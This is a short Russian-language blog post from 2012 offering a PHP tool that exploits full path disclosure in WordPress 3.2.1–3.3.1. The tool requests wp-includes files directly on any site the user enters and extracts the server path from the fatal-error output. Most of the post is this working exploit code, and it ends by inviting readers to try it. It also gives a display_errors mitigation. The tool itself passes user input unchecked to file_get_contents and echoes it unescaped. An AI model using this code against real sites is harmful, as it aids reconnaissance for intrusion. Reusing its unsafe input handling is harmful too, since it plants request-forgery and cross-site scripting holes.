Итак, приведенный ниже код позволяет вытянуть путь к папке, где располагается блог на сервере хостера. Экспойт, как минимум, актуален для WordPress 3.2.1-3.3.1. Возможно для более ранних версий CMS трюк тоже сработает, — не проверял. Различием будет лишь номер строчки откуда вылетит «птичка».
<form method="get" action="#" >
<input type="text" name="url" />
<input type="submit" value="Проверить URL" />
</form>
<?php
$u = @$_GET['url']; //целевой сайт
$s = $u.'/wp-includes/vars.php';
$e = @file_get_contents($s);
if($e and (!empty($e))) {
$a = array("<br />\n<b>Fatal error</b>: Call to undefined function is_admin() in ",
" on line <b>20</b><br />","/wp-includes/vars.php",
"<br />\n<b>Fatal error</b>: Call to undefined function is_admin() in ",
"Fatal error: Call to undefined function is_admin() in ",
" on line 20");
for($i=0; $i < count($a); ++$i)
$e = implode("", explode($a[$i],$e));
echo '<div>Полный путь сайта <strong>'.$u.'</strong>:<br />'.$e.'</div>';
}
else
echo 'Вы ещё ничего не ввели, либо данная мини-"дырка" успешно закрыта.';
?>
Принцип действия несложен: обращаемся к практически любому файлу в системной директории движка «wp-includes». Т.е. необязательно лезть именно к «vars.php», сгодится и «admin-bar.php», к примеру. Ошибки там при таком нестандартном поведении по всей видимости просто не обрабатываются. Потому спокойно получаем из сгенерированного error интересующую информацию вот и всё.
Чем можно закрыть? Дешево&сердито прописываем в «.htaccess» корневой папки системы нехитрое отключение вывода исключений (один из вариантов):
php_flag display_errors off
Напоследок, пробуем , эксплуатируем. Автор сей идеи: человек под ником «Osstudio».
Источник: sooource.net



Май 31st, 2012
Archi
Опубликовано в рубрике
Метки: